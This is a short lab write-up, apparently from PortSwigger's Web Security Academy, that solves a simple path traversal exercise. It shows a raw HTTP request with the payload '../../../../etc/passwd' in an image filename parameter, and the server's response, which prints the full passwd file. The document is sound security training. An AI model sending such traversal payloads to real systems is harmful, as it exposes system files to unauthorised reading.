

## Lab: File path traversal, simple case

This lab contains a path traversal vulnerability in the display of product images.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

```
Request
Pretty Raw Hex
1 GET /image?filename=../../../../etc/passwd HTTP/2
2 Host: 0a4000b6047dc967801bd53600a40015.web-security-academy.net
3 Cookie: session=5YFC712hEiNC9wYm61QgROHpL6XCz0m
4 Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
5 Sec-Ch-Ua-Mobile: 70
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
7 Sec-Ch-Ua-Platform: "Windows"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Dest: image
12 Referer: https://0a4000b6047dc967801bd53600a40015.web-security-academy.net/
13 Accept-Encoding: gzip, deflate, br
14 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
15
16

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001:/home/peter:/bin/bash
26 carlos:x:12002:12002:/home/carlos:/bin/bash
27 user:x:12000:12000:/home/user:/bin/bash
28 elmer:x:12059:12059:/home/elmer:/bin/bash
29 academy:x:10000:10000:/academy:/bin/bash
30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x:103:103:systemd Time
  Synchronisation,,,:/run/systemd:/usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network
  Management,,,:/run/systemd:/usr/sbin/nologin
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
35 mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
36 postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
```



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LAB Solved

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